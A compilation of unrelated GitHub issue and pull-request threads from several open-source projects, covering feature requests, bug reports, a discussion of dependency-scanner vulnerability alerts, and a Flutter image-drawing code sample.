Add an Expanding aggregation, similar to Rolling

Is your feature request related to a problem? Please describe.
Pandas has a .expanding aggregation, which is basically rolling with a full lookback. I often end up supplying rolling with the length of the dimension, and this is some nice sugar for that.
Describe the solution you'd like
Basically the same as pandas — a .expanding method that returns an Expanding class, which implements the same methods as a Rolling class.
Describe alternatives you've considered
Some options:
– This
– Don't add anything, the sugar isn't worth the additional API.
– Go full out and write specialized expanding algos — which will be faster since they don't have to keep track of the window. But not that much faster, likely not worth the effort.

I don't entirely get what the function is supposed to do (even after looking at the pandas docstring) - can you give a an example or two?

IIUC da.expanding(dim=dim).sum() is da.cumsum(dim) with support for min_periods and center like rolling.
I guess all expanding reductions are basically numpy.ufunc.accumulate(...). The dask versions will be "interesting" to write.
https://github.com/dask/dask/blob/f1f37cae96d5e98f8043ea430539a4fffbe62661/dask/array/reductions.py#L1389-L1413
Like @mathause I find "expanding" confusing. .accumulate().sum() or .cumulative().sum() sounds much better to me.

.cumulative is great! Much better.
The benefit is that the API surface is reduced — e.g. we can have a .cumulative().integrate(), rather than a separate .cumulative_integrate (and so on, for each aggregation), from https://github.com/pydata/xarray/pull/5153.
The implementation could be as simple as da.rolling(dim=da.sizes[dim]). How compatible would dask be with that? How does it compare to the numpy.ufunc.accumulate(...) suggestion?

Go for it - we can hardly keep up with reviewing ;-)

I am pretty stoked about the idea of supporting cumulative integrals with the same syntax as other cumulative operations :)


Text needs to wrap in Browse

Right now in Browse pages, it looks like long items are displayed with ellipses instead of wrapping to the next line. Text need to wrap instead.
This is an example of why ellipses are not an adequate solution:

These are all different subjects, but you cannot tell that because the text that differentiates them is hidden.

Looks good to me. Leaving for @wrenaria to sign off.


SoundInstance.isLooping -> isRelative

Should be changed in

SoundInstance.isLooping()
AbstractSoundInstance.isLooping()
AbstractSoundInstance.looping
PositionedSoundInstance constructor argument name

See SoundSystem.play() where it calls Source.setRelative() in a lambda.

Looks like it.


Edge of panels is not visible

Would it be possible to show a line at the edge of resizable panels as shown in the screenshot? It makes it hard to resize when you can't locate the edge. In this example I'm looking at the Find in File window. I've drawn a red line to show where the edge is.

I have it for sure and it will arrive soon with the new update =)


Library Dependencies

skimage dependency problem occurs. It seems that scikit-image's Dependencies need to be added.

Thank you for reporting. I will include the dependency.


Make implicit nullable types explicit

Thanks for looking into this. I'll try and get some time to go over all the Guzzle repos this weekend.

I've handled this via upgrading php-cs-fixer.


tiaoma:0.2.1:readme

Alternatives section was outdated, the new section contains a bit more details on how tiaoma differs from alternatives and reflects the state of the package better.
Sorry for sending a request in email form :grimacing:, forgot this is the proper channel for updates.

As the package is owned by @Enter-tainer, this requires their approval.


[Community Feedback Requested] Deprecating Tautulli

The Tautulli source was originally implemented to allow Plex users who did not have webhook access (Plex Pass) to still monitor Plex via Tautulli (which uses the official Plex API). The newly implemented Plex API Source means anyone can monitor Plex without needing Plex Pass and so Tautulli isn't needed anymore.
Additionally, the setup is also more involved and prone to human error compared to Plex API as well as providing less information (we're at the mercy of when Plex sends a scrobble vs. allowing MS user to configure it and get all the benefits of simulated player info).
However, I'd like to get community feedback to see if anyone is using the Tautulli source in a way that could not be replaced by the Plex API source.
Are you using webhook conditions/triggers/etc. to modify the way scrobbling occurs outside of what the MS documentation specifies? Or what other benefits does Tautulli give you that you think you'd missing from migrating to the Plex API Source?

Since there's been no feedback I will be deprecating this Source in the next release


[Discuss] Eventmesh code style specification

Feature Request
To ensure consistent code style and improve code quality, I think it is necessary to discuss code style specification now.
The specification includes two parts: suggest and mandatory.
The mandatory specification can be written into codestyle and checkstyle file, only pr meets the mandatory specification can be merged. Suggest specification can be break in sometimes, it's also recommended following the suggest specification.
Follow the code style specification when submitting pr and conducting code review.
Mandatory specification

All package in source code should be named start with org.apache.eventmesh.{module}.
Block indentation with 4 spaces.
Don't exceed 100 columns.
All method in interface should have clear comments.
The source code files should only contain English.
No more than two consecutive blank lines.
Class name should be named by UpperCamelCase style, attributes and method name should be named by lowerCamelCase style, the constant should be named by CONSTANT_CASE style.
Method in Unit test should be named by test{Method}_case, e.g. testHello_thorwUserException.
...

Suggest specification

Each method should be as short as possible, no more than 100 lines.
Each test method should test just one case and never contain more than two cases.
The method name should be a verb and the Class name should be a noun.
Using meaningful names and don't add comments anywhere.
...

Here is I can think of, welcome to add and discuss.

Glad to see it, and it is time to Do it now.

For better maintain, we can remove the code style file, since the checkstyle can also help us to format code in IDE. And we use checkstyle file to check the code style when we run GitHub CI.


Update README.md

Tune AI PyCon India 2024 Contest
Project Title (Required)

A unique descriptive title

Tune AI Products Used (Required)

[x] Tune Studio
[ ] Tune Chat
[ ] Tune Assisants

Checklist

[x] Includes a README
[ ] Includes instructions on how to run the app

Screenshots (Optional)
Paste screenshots of major parts of the app here.

Starting project

Created app.py for newssummarizer


being able to configure the PATH and the HMR to include other cosmos network

At starname (https://starname.me/), we would like to use this library however we need to customize so far the PATH and the HMR

Hi @antoineherzog , thanks for the issue!
Does this commit do what you need? https://github.com/hukkinj1/cosmospy/commit/145c9bc6c417f96e43801689bed5efa7838e96b7
If yes, that's good, it is now released on PyPI (version 5.1.0).

Yes I think so! thank you for your quick reply!


Multiple X,Y s – layering / juxtaposition

[ ] layering
[ ] multiple x,y on the same axis
[ ] dual axes

@ellisonbg @domoritz Let's continue the conversation from #539 here.
One challenging in terms of specification design here is whether we have to adjust how we specify axis and scales given that there will be some properties shared across layered axes.  (and sometimes you want them to be different)
That said, there are a lot of refactoring tasks that I would like to do before introducing major feature like this.

OK, I will watch this to see when this stuff starts to move forward. Thanks!
On Wed, Aug 5, 2015 at 7:23 PM, Kanit Wongsuphasawat <
<EMAIL_ADDRESS>wrote:

@ellisonbg https://github.com/ellisonbg @domoritz
https://github.com/domoritz Let's continue the conversation from #539
https://github.com/uwdata/vega-lite/issues/539 here.
One challenging in terms of specification design here is whether we have
to adjust how we specify axis and scales given that there will be some
properties shared across layered axes. (and sometimes you want them to be
different)
That said, there are a lot of refactoring tasks that I would like to do
before introducing major feature like this.
—
Reply to this email directly or view it on GitHub
https://github.com/uwdata/vega-lite/issues/24#issuecomment-128216290.

--
Brian E. Granger
Cal Poly State University, San Luis Obispo
@ellisonbg on Twitter and GitHub
<EMAIL_ADDRESS>and<EMAIL_ADDRESS>

@ellisonbg   We sketched some syntax for composition in this docs.
Note that the docs isn't perfectly cleaned because I wrote it to explain to people in person, but you probably get an idea about what we are thinking  https://docs.google.com/document/d/1moMVll7p-gFj4l9lYY1fejpr5zqY4iK045HeXgPB9bk/edit#
If you have questions, please feel free to comment or we could do a video call as well.

Great I will have a look!
On Fri, Feb 26, 2016 at 9:18 AM, Kanit Wongsuphasawat <
<EMAIL_ADDRESS>wrote:

@ellisonbg https://github.com/ellisonbg We sketched some syntax for
composition in this docs.
Note that the docs isn't perfectly cleaned because I wrote it to explain
to people in person, but you probably get an idea about what we are
thinking
https://docs.google.com/document/d/1moMVll7p-gFj4l9lYY1fejpr5zqY4iK045HeXgPB9bk/edit#
If you have questions, please feel free to comment or we could do a video
call as well.
—
Reply to this email directly or view it on GitHub
https://github.com/vega/vega-lite/issues/24#issuecomment-189379114.

--
Brian E. Granger
Associate Professor of Physics and Data Science
Cal Poly State University, San Luis Obispo
@ellisonbg on Twitter and GitHub
<EMAIL_ADDRESS>and<EMAIL_ADDRESS>

Closing this issue since it's basically describe the milestone that has many sub-issues.


#3 When all planets align Cthulhu awakens and your build will succeed.

Checks according to planet list so you can test with fewer planets as hitting 8 planets at the same time is impossible with current degree. However if someone decides to take larger degree it's important that this happens.


higlass for Jupyter not installing

Commit:
Steps to reproduce

This command is failing for me: jupyter nbextension install --py --sys-prefix --symlink higlass
Observed behavior

Traceback (most recent call last):   File "/Library/Frameworks/Python.framework/Versions/3.10/bin/jupyter-nbextension", line 8, in <module>     sys.exit(main())   File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/site-packages/jupyter_core/application.py", line 285, in launch_instance     return super().launch_instance(argv=argv, **kwargs)   File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/site-packages/traitlets/config/application.py", line 1043, in launch_instance     app.start()   File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/site-packages/notebook/nbextensions.py", line 972, in start     super().start()   File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/site-packages/jupyter_core/application.py", line 274, in start     self.subapp.start()   File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/site-packages/notebook/nbextensions.py", line 702, in start     self.install_extensions()   File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/site-packages/notebook/nbextensions.py", line 675, in install_extensions     full_dests = install(self.extra_args[0],   File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/site-packages/notebook/nbextensions.py", line 203, in install_nbextension_python     m, nbexts = _get_nbextension_metadata(module)   File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/site-packages/notebook/nbextensions.py", line 1109, in _get_nbextension_metadata     raise KeyError( KeyError: 'The Python module higlass is not a valid nbextension, it is missing the _jupyter_nbextension_paths()method.'
Expected behavior

Hey, would you mind posting this issue in the https://github.com/higlass/higlass-python/ repo?

Thank you, will do


[FEATURE] Can I only display some recent posts without paging?

When the paging is false, size becomes useless and all posts reveal. But some bloggers may only want to display some recent posts without pagination > <
size: 5
paging: false

Many thanks! :D

OK, this feature is necessary.

https://github.com/liang2kl/mkdocs-blogging-plugin/releases/tag/1.4.0

GREAT! Thank you for your work :+1:


kmlLayer.getFeatures()

Hello Guys!
I want to get all the features of my layer, to get all their properties. I used the below code, in the asynch funcion of KML demo :
`Iterable<? extends Feature> multimap= kmlLayer.getFeatures();
            for(Feature s: multimap){
                Log.w("display", s.getProperty("name"));
            }`

but it doesn't work! not even the log has been displayed!
I tried that :
Log.w("display", kmlLayer.getFeatures().toString();
I got : [] ! which means getfeatures is empty ! any suggestions! pleaaase

pleaaaaaaase someone help!!! why the the getfeatures() returns that [] ? why is it empty?


Security Vulnerabilities detected in the depedency packages requires an update

Hi, for one of our projects after upgrading react-scripts to the latest version (reacts-scripts@3.4.3), the Veracode static code analysis tool points out that few libraries are vulnerable to uninitialized buffer allocation attacks, prototype pollution,These libraries are given below
<EMAIL_ADDRESS>is vulnerable to prototype pollution. By upgrading this to a version >=6.12.4 this issue can be resolved
<EMAIL_ADDRESS>is vulnerable to uninitialized buffer allocation attacks. By upgrading this to a version >=0.7.1 this issue can be resolved
Is there any plan to upgrade these packages to improve the security? If yes, could you please update by when these changes could be implemented. Any quick help/support you could provide on this would be much appreciated.

As far as I can tell, there are no actual vulnerabilities here. If you link to reports I can confirm that.

Hi Dan, Thank you for your quick reply. Unfortunatly I would not be able to share the full report. But below are the issues e issues stated in the report
<EMAIL_ADDRESS>https://nvd.nist.gov/vuln/detail/CVE-2020-15366
Prototype Pollution: ajv is vulnerable to prototype pollution. The vulnerability exists as it does not prevent the overwrite of proto properties.
<EMAIL_ADDRESS>https://sca.analysiscenter.veracode.com/vulnerability-database/security/sca/vulnerability/sid-20396/summary
Uninitialized Buffer Allocation: websocker-driver is vulnerable to uninitialized buffer allocation attacks. The library contains an uninitialized memory allocation when handling a large number, which can allow a malicious user to gain access to sensitive information or crash the application.

Neither of these dependencies is used in the production builds, they're development-only. So they don't have any actual impact on the security of your application.
We're cutting CRA 4.x soon so you can try switching to react-scripts@next betas to resolve this (but watch out for breaking changes).

@gaearon -I am also getting Synk testing issue with
<EMAIL_ADDRESS>><EMAIL_ADDRESS>><EMAIL_ADDRESS>><EMAIL_ADDRESS>and also with
<EMAIL_ADDRESS>><EMAIL_ADDRESS>><EMAIL_ADDRESS>><EMAIL_ADDRESS>the issue is with<EMAIL_ADDRESS>it will be fixed once we upgrade it to<EMAIL_ADDRESS>can you please update the version of<EMAIL_ADDRESS>to<EMAIL_ADDRESS>inside<EMAIL_ADDRESS>or<EMAIL_ADDRESS> ?

These are transitive dependencies, so they're not ours to update. You can file this with adjust-sourcemap-loader and ask them to cut a patch. Again, there is no real security issue here. You are spending your time on false positives.

@gaearon -Can you please elaborate more on  "You can file this with adjust-sourcemap-loader and ask them to cut a patch"

If the "vulnerable" (and again, there's no actual vulnerability — you are chasing a ghost) package is object-path, the package that needs to update its version is the one that uses it. In this case, according to your comment, it is adjust-sourcemap-loader (and one step further, resolve-url-loader). So these are the packages that you need to find on GitHub and ask their maintainers to cut a patch release. Then your app can automatically update to them.

FYI. It's already been filed: https://github.com/bholloway/adjust-sourcemap-loader/issues/16

FYI. It's already been filed: bholloway/adjust-sourcemap-loader#16

thats great.waiting for this to release

Resolve Url loader has been updated :
https://github.com/bholloway/adjust-sourcemap-loader/issues/16#issuecomment-712640330

If the "vulnerable" (and again, there's no actual vulnerability — you are chasing a ghost) package is object-path, the package that needs to update its version is the one that uses it. In this case, according to your comment, it is adjust-sourcemap-loader (and one step further, resolve-url-loader). So these are the packages that you need to find on GitHub and ask their maintainers to cut a patch release. Then your app can automatically update to them.

False positives like this are arguably more dangerous. When we tell people to ignore reported vulnerabilities actually dangerous vulnerabilities get ignored as well. That's not a bug of create-react-app, obviously, but something I wanted to react to nonetheless.

resolve-url-loader is updated to @3.1.1 but it still uses  object-path@0.11.4(which has security issues).This needs to updated to  object-path@0.11.5(which has security fix) inside resolve-url-loader

@gaearon    adjust-sourcemap-loader is. upgraded.Can you please upgrade react-scripts ?

This is not how npm works. We can’t “update” to some transitive dependency’s bump. What needs to happen here is a patch release (not a major!) for the affected dependency. Then things would sort themselves out automatically thanks to semver.

And again, let’s not call this a “security fix” because there is no actual security problem in this case.

I am not a security expert.but we are getting High Severity
✗ Prototype Pollution [High Severity][https://snyk.io/vuln/SNYK-JS-OBJECTPATH-1017036] in<EMAIL_ADDRESS>introduced by<EMAIL_ADDRESS>><EMAIL_ADDRESS>><EMAIL_ADDRESS>><EMAIL_ADDRESS>This issue was fixed in versions: 0.11.5
without react-scripts update we cannot move forward

Snyk by default doesn't report on security issues in devDependencies to reduce the noise to signal ratio, just as @gaearon is saying - some times these vulnerabilities in devDependencies don't make a lot of sense since these aren't making it into production code. Good examples of these are security issues in packages like webpack, jest, etc.
@nayaks2019 perhaps you can move those dependencies added by CRA to devDependencies? such as @testing-library/*, react-scripts, etc. @gaearon I think this will be a good default in the future for CRA. Would such a change be ok or is this going to break anything in the tooling for you?
@nayaks2019 another thing to consider is that Snyk allows you to ignore vulnerabilities (I think other tools, maybe like npm audit but not sure, take a look at their docs). See Snyk CLI for ignore or the Snyk UI instructions.

@gaearon I think this will be a good default in the future for CRA. Would such a change be ok or is this going to break anything in the tooling for you?

Sounds totally fine. I had no idea there is an actual semantic meaning to it from Snyk's perspective!

Sounds totally fine. I had no idea there is an actual semantic meaning to it from Snyk's perspective!

Cool! I think this will really help a lot to bring the noise down for CRA for such issues being opened, at least for those using Snyk or making sure their tooling is ignoring devDeps by default as the snyk CLI does.

@lirantal

Snyk by default doesn't report on security issues in devDependencies to reduce the noise to signal ratio,

Is npm audit a different thing from Snyk? I don't understand the exact relationships here but I do get npm audit errors for devDependencies. I suspect that's where people see them primarily.

Yes it is :-)
Snyk is a security platform, CLI tool, and maintains its own vulnerability database at https://snyk.io/vuln?type=npm which has a broader coverage than npm. And so, when users get alerts in the form of the CLI tooling reports, or via a GitHub pull request this is all based on Snyk's own database. There is some overlap with npm and others since all of these tooling works by tracking the open and public database sets like NVD.
npm audit is a tool maintained by the npm team (its part of the npm cli), and has its own security advisories database.
An out of the box CRA project which I just scaffolded provides the following security report from Snyk, indeed showin that there are many issues that don't have a direct upgrade, and can't be easily addressed by their maintainers:

However, I applied the change I suggested to move the relevant packages into devDeps

and a follow-up snyk test now shows 0 vulnerabilities:

If someone really wanted to, they can issue a snyk test --dev and it'll report on devDependencies as well.
Unfortunately, reporting devDeps is a default for npm (maybe it changed with the new npm 7 release but I haven't yet followed up on what's there) and so this is a bit noisy and users end up opening such issues.
I'm happy to support where I can. Don't be shy to tag me in this or future issues if I can help.
P.S.
Full disclosure in case this wasn't apparent before, I'm wearing two hats: I'm a developer advocate at Snyk, as well as a member of the Node.js foundation's security working group.

Thanks, this context is super helpful.

I bumped just resolve-url-loader alone in<EMAIL_ADDRESS>For the other issues, please move react-scripts to devDependencies (if you use Snyk).


BUGFIX: Avoid open_basedir restriction on php binary check

This change will bring up the compatibility for some ISPs( Webhosting Software)
When checking if phpBinaryPathAndFilename exists PHP returns false and logs
PHP Warning:  file_exists(): open_basedir restriction in effect. File(/usr/local/php56/bin/php) is not within the allowed path(s)
on the most (rather all) webhosting platforms(f.x. Plesk).
By using system commands to check file existence inside exec() this behavior can be avoided.

Thanks for the new PR, :+1: by reading.

:+1: but no windows setup to test it completly

Do you think http://www.wampserver.com/en/ is Ok for testing it on windows?

Works as expected on Windows
Tested on Windows machine with ampps with PHP 5.6.17 as follows:

Install Ampps

1.1. Add C:\Program Files (x86)\Ampps\php\php.exe to PATH variable
1.2. [Bugfix in php.ini] open C:\Program Files (x86)\Ampps\php\php.ini and C:\Program Files (x86)\Ampps\apache\php.ini
to replace zend_extension="C:/Program Files (x86)/Ampps\php-5.5\ioncube_loader_win_5.6.dll" with zend_extension="C:/Program Files (x86)/Ampps\php\ioncube_loader_win_5.6.dll"
Set memory_limit and max_execution_time properly.
1.3 [Bugfix for apaches rewrite] open C:\Program Files (x86)\Ampps\apache\conf\httpd.conf file and search for AllowOverride None inside <Directory /> tag (line ~ 226) and change None to all

[GIT] install git and choose windows command line and as is everywhere

[COMPOSER] install composr as described in https://getcomposer.org/download/ and https://getcomposer.org/doc/00-intro.md#installation-windows tutorials
but use --install-dir="C:\Program Files (x86)\Ampps\php\" and create composer.bat in "C:\Program Files (x86)\Ampps\php\" directory also run echo @php "%~dp0composer.phar" %*>"C:\Program Files (x86)\Ampps\php\composer.bat".

Install Neos

4.1. create new domain in Ampps Web GUI and do not forget to attach Web at the end of webroot
4.2. start cmd as admin and change in directory defined in step 4 but without attachet Web and remove Web folder
4.3. run composer create-project --no-dev typo3/neos-base-distribution� .
appy patch from this PR in your preferred way if needed
4.4. open flow.bat and replace SET PHP=php.exe with SET PHP="C:\Program Files (x86)\Ampps\php\php.exe"
4.5. insert following in Settings.yaml:
   TYPO3:
     Flow:
       core:
         phpBinaryPathAndFilename: 'C:\Program Files (x86)\Ampps\php\php.exe'

4.6. uncomment SetEnv FLOW_CONTEXT Production in Web/.htaccess
4.7. run SET FLOW_CONTEXT=Production & flow.bat flow:cache:warmup� and SET FLOW_CONTEXT=Production & flow.bat resource:publish
4.8. Go to your-doman-from-step-4.1.dev and if you like to imort Neos demo site you'll get message about troubles publishing resources just run
SET FLOW_CONTEXT=Production & flow.bat resource:publish and reload the page and then click skip.
4.9.  Enjoy Neos on Wondows, but think about Vagrant or better Docker setup for development :+1:

Not entirely sure if it's a security issue, but this potentially allows for executing commands if you can define system variables. Shouldn't $phpBinaryPathAndFilename be sanitized with escapeshellarg? /cc @kdambekalns @foerthner
Additionally a new release needs to be tagged (2.0.3) and merged into master for this to be of use to anyone.
Also there was some syntax issues and a spelling error which I fixed with 5b082d7587a2cfa82a2fa906f2f2241f69931de6

Hey @aertmann
do you have any example, which shows possible vulnerability by defining system variables within $phpBinaryPathAndFilename context?

@RafaelKa: Hey, looked at it again and can see it's not using a system variable but a PHP constant instead, sorry my bad. However, it also uses the configuration setting TYPO3.Flow.core.phpBinaryPathAndFilename, meaning that if a user has access to write configuration they can execute commands. Being able to write configuration is not completely unlikely and this is certainly not a responsibility of someone making that possible. So better safe than sorry and escape arbitrary input properly for exec calls.


search returns detector type in CAPS fix and integration tests

Signed-off-by: Raj Chakravarthi<EMAIL_ADDRESS>Description
After this change, the detector type will be returned in small case during search.
Also, integration tests are written to ensure that happens in create, update, get , search detector.
Issues Resolved
(https://github.com/opensearch-project/security-analytics/issues/173)
Check List

[ ] New functionality includes testing.

[ ] All tests pass

[ ] New functionality has been documented.

[ ] New functionality has javadoc added

[ ] Commits are signed per the DCO using --signoff

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

Codecov Report

Merging #174 (ba63cc6) into main (a4a542d) will not change coverage.
The diff coverage is 33.33%.

@@            Coverage Diff            @@
##               main     #174   +/-   ##
=========================================
  Coverage     39.06%   39.06%
  Complexity      891      891
=========================================
  Files           176      176
  Lines          6724     6724
  Branches        820      820
=========================================
  Hits           2627     2627
  Misses         3856     3856
  Partials        241      241

Impacted Files
Coverage Δ

...yanalytics/transport/TransportGetAlertsAction.java
0.00% <0.00%> (ø)

...nalytics/transport/TransportGetFindingsAction.java
0.00% <0.00%> (ø)

...g/opensearch/securityanalytics/model/Detector.java
70.58% <100.00%> (ø)

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

It's fine to return smallcase in response but we should be able to handle case agnostic input from client


[CS2103-W17-3] ModQuik

ModQuik is a desktop app for NUS CS Professors, optimised for use via a Command Line Interface(CLI). It allows the professors to keep track of their students, teaching assistants and timetable for the course.

Codecov Report
Base: 72.15% // Head: 72.15% // No change to project coverage :thumbsup:

Coverage data is based on head (981cc30) compared to base (77a32bf).
Patch has no changes to coverable lines.

Additional details and impacted files
@@            Coverage Diff            @@
##             master      #70   +/-   ##
=========================================
  Coverage     72.15%   72.15%
  Complexity      399      399
=========================================
  Files            70       70
  Lines          1232     1232
  Branches        125      125
=========================================
  Hits            889      889
  Misses          311      311
  Partials         32       32

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


Add links and describe dev mod for extensions

Add links to GitHub repo and describe development mode for LocalStack Extensions (based on external feedback).
Content partly copied from the Extensions repo: https://github.com/localstack/localstack-extensions
Based on the latest updates from https://github.com/localstack/localstack-extensions/pull/29
It might be a bit confusing to have two LocalStack Extensions pages:

References: https://docs.localstack.cloud/references/localstack-extensions/
Tools list (badly outdated): https://docs.localstack.cloud/user-guide/tools/localstack-extensions/

At least, we should clarify the intent and cross-link accordingly. I guess the idea was to have the API and conceptual part covered under references and the actual extensions in the tools list 🤔  @HarshCasper

/cc @thrau I just saw in the eng. all-hands this might be partly related to R6 of the workstream "Improve Extensions UX". I pushed this out based on customer feedback missing the links and dev mode info.


Add Rust version to the examples

Current example demonstrating how to use the bridge is implemented in C++, but as the bridge can be used with any programming language, would be good to add more examples. Let's start with Rust.

Implemented as part of #9


version-extractor-android 0.0.2

New Pull Request Checklist
This pull request includes fixes from https://github.com/bitrise-io/bitrise-steplib/pull/2467
Please mark the points which you did / accept.

[x] I will not move an already shared step version's tag to another commit
[x] I read the Step Development Guideline
[ ] I have a test for my Step, which can be run with bitrise run test (in the step's repository)
[x] I did run bitrise run audit-this-step (in the step's repository - note, if you don't have this workflow in your bitrise.yml, you can copy it from the step template.)
[x] I read and accept the Abandoned Step policy

New Step
Thank you for the new Step share! The CI check might will fail due to our extended validation engine. Nothing to worry about yet, we will get back to you shortly.

I've created a new pull request https://github.com/bitrise-io/bitrise-steplib/pull/2469 on this matter.


Update kafka sink description

Signed-off-by: Yanqiang Miao<EMAIL_ADDRESS>

This change is

@k8s-bot ok to test

ping @huangyuqi

@huangyuqi Could this PR be merged?   PTAL, Thanks!

ping @huangyuqi  @piosz  Could this PR be merged?

@DirectXMan12 @huangyuqi @piosz
According to the sink-owners.md, Kafka only supports Metric, not supporting Event. So @huangyuqi , could you please confirm this?

looks like we actually have a Kafka events sink too, but that page didn't get updated.  Can you please also update sink-owners.md in this PR?

@miaoyq

looks like we actually have a Kafka events sink too, but that page didn't get updated. Can you please also update sink-owners.md in this PR?

Could you please update sink-owners.md.

I'm sorry for delay,  have updated sink-owners.md, PTAL. @DirectXMan12 @andyxning

/lgtm
I have no merge right. Ping @DirectXMan12 @loburm @piosz


Not working with -enable-doh and local dnscrypt since 0.10.7

Version
0.10.7 - 0.11.1
Operating System
Arch Linux
How are you running SpoofDPI?
./spoofdpi -dns-addr <IP_ADDRESS> -enable-doh -port 8087
Description
Hello, thank you for your project.
Today I tried to upgrade from 0.10.6 to 0.11.1 and found that I can't longer use the local dnscrypt as a dns source.
When i try to go to the site, the browser says that the connection failed.
if I specify <IP_ADDRESS> as the source of a dns such problem is not.
Version 0.10.6 is not affected by this and works without problems.
Any idea what might be the reason? Thank you.
UPD: It looks like the reason is -enable-doh, if you remove it everything works.

In v0.10.6 -dns-addr didn't have any effect on DoH.
https://github.com/xvzc/SpoofDPI/blob/641ded49d82fcdbea2f5734e78c9e0cc673b0cca/dns/dns.go#L94
Starting from v0.10.7, DoH URL is composed as follows:
https://github.com/xvzc/SpoofDPI/blob/bdc1a68691173a20b791f6bca83905cd0004f8c8/dns/doh.go#L45-L47
Where host is a host or an IP you provide as -dns-addr, or <IP_ADDRESS>.

Then it’s clear. dnscrypt implements this on different ports
dns <IP_ADDRESS>:53 and DOH <IP_ADDRESS>:3000

Can confirm.


Canvas.drawImage should have sample code

Canvas.drawImage should have sample code showing how to render an asset.
Alternatively it could point to paintImage or some such.

Hey, @Hixie. May I work on this?
What are you expecting exactly from this documentation? The bare minimum construct I got to draw an Image with Canvas.drawImage was the following:

Source
class CustomAssetImage extends StatefulWidget {
  final String asset;

  const CustomAssetImage({required this.asset});

  @override
  _CustomAssetImageState createState() => _CustomAssetImageState();
}

class _CustomAssetImageState extends State<CustomAssetImage> {
  late final ImageProvider _imageProvider;
  late final ImageStreamListener _listener;
  late ImageConfiguration _imageConfiguration;
  ImageStream? _imageStream;
  ImageInfo? imageInfo;

  @override
  void initState() {
    super.initState();
    _imageProvider = AssetImage(widget.asset);
    _listener = ImageStreamListener(
      (info, _) => imageInfo = info,
    );
  }

  @override
  void didChangeDependencies() {
    super.didChangeDependencies();
    _imageConfiguration = createLocalImageConfiguration(context);
    final stream = _imageProvider.resolve(_imageConfiguration);

    if (_imageStream?.key == stream.key) {
      return;
    }

    _imageStream?.removeListener(_listener);

    _imageStream = stream;
    _imageStream!.addListener(_listener);
  }

  @override
  Widget build(BuildContext context) {
    if (imageInfo?.image == null) {
      return Text('Loading...');
    } else {
      final image = imageInfo!.image;
      final painter = ImagePainter(image: image);
      return CustomPaint(
        painter: painter,
        size: Size(
          image.width.toDouble(),
          image.height.toDouble(),
        ),
      );
    }
  }
}

class ImagePainter extends CustomPainter {
  final ui.Image image;

  const ImagePainter({
    required this.image,
  });

  @override
  void paint(Canvas canvas, Size size) {
    final paint = Paint()..isAntiAlias = true;
    final wPaint = Paint()..color = Colors.red;
    print(size);
    canvas.drawRect(
      Rect.fromLTWH(0, 0, size.width, size.height),
      wPaint,
    );
    canvas.drawImage(
      image,
      Offset.zero,
      paint,
    );
  }

  @override
  bool shouldRepaint(covariant ImagePainter oldDelegate) =>
      oldDelegate.image != image;
}

However, this uses Flutter's ImageProvider and its related API (ImageStream, ImageStreamListener, ImageConfiguration...). Maybe you are thinking of something more direct and agnostic? What do you think?

Something like that, yeah. Maybe also a version that shows how to do it when you know you have only one version (using ExactAssetImage and not bothering with didChangeDependencies).

This makes sense. I can reduce considerably the complexity of the sample by using ExactAssetImage, as it uses 1.0 as the default scale, and thus we don't have to worry about getting an ImageConfiguration from context. Instead, we can use ImageConfiguration.empty and delegate scale, bundle and package to ExactAssetImage constructor...
I am going to make a proposal PR. Where do you think it's the best place to document it? Surely, it won't make sense in Canvas.drawImage itself, as it isn't a Flutter class. Maybe in the CustomPainter documentation?

Canvas.drawImage is a Flutter class, that's a fine place to document it. (That API is implemented in the flutter/engine repo.)

Oh, I didn't know dart:ui was part of Flutter, sorry.

@Hixie I opened a PR with an initial proposal on flutter/engine.
Also, is there a way to compile the documentation locally? dartdoc won't work because the ui folder has not a pubspec.yaml file, so I had to make some workarounds to see the result.

While dart:ui is part of Flutter, it is a dependent component. Examples of using dart:ui should not require Stateful or any kind of Widget.
If the problem is that there is no mechanism within dart:ui to load images, then that should perhaps be a feature request.
If the issue is how to tie Flutter's asset management system in to the Canvas APIs, then I would think that documentation should go on the widget that Flutter uses to interact with the low level rendering APIs and that would be CustomPaint and CustomPainter.

The docs for drawImage should be relatively simple as it has a very narrow scope - it takes an existing ui.Image object and places the pixels on the screen subject to 3 or 4 Paint attributes and a transform.
There are several ways to get an image to use with this method and all of them have their own idiosyncrasies that are outside its scope.
You can use ImageDescriptor/Codec/FrameInfo.image
You can use PictureRecorder/Picture.toImage()
You can use RenderRepaintBoundary.toImage()
You can use AssetImage
There are/will be external modules for image codecs and manipulation.
This method is not complex enough to host the sample code to deal with all of the intricacies of any, each, or all of those mechanisms. At best, it might mention a few of them that are local to the flutter project with pointers and if the various mechanisms require understanding the complexities of the way that widget state is managed, or how to look up RenderObject instances, then those examples should be documented in the context that introduces them. drawImage() is not responsible for the framework state management or the needs of a Codec or how widgets relate to RenderObjects.
I'd expect the RenderBox documentation to be lengthy as it is the cornerstone for much of the RenderObject infrastructure of the Flutter framework. I'd expect StatefulWidget to have lots of documentation and a tutorial because it is also the bread and butter of maintaining the state of most apps. And all of these components are somewhat unique within the industry. They are a relatively new take on how to manage app design and state.
Canvas.drawImage() could probably get away with "If you have ever done graphics before in any language since before the turn of this millennium you could probably write this doc comment yourself". That isn't to say that we shouldn't be explicit about how it interacts with the attributes and that we haven't been lax in that level of completeness so far, but that it isn't really surprising in how it works and the resulting docs would be fairly concise. The only novel thing about the example being proposed here is due to the design of asset management in the Flutter framework which is well outside the scope of a graphics draw op.
I see no reason to burden the method with descriptions of how to manage the various sources from which you can obtain the image data. At most it might be worth an @see pointer to some of the more common sources each of which can decide how much documentation and examples are needed to understand those mechanisms on a case by case basis within their own contexts.
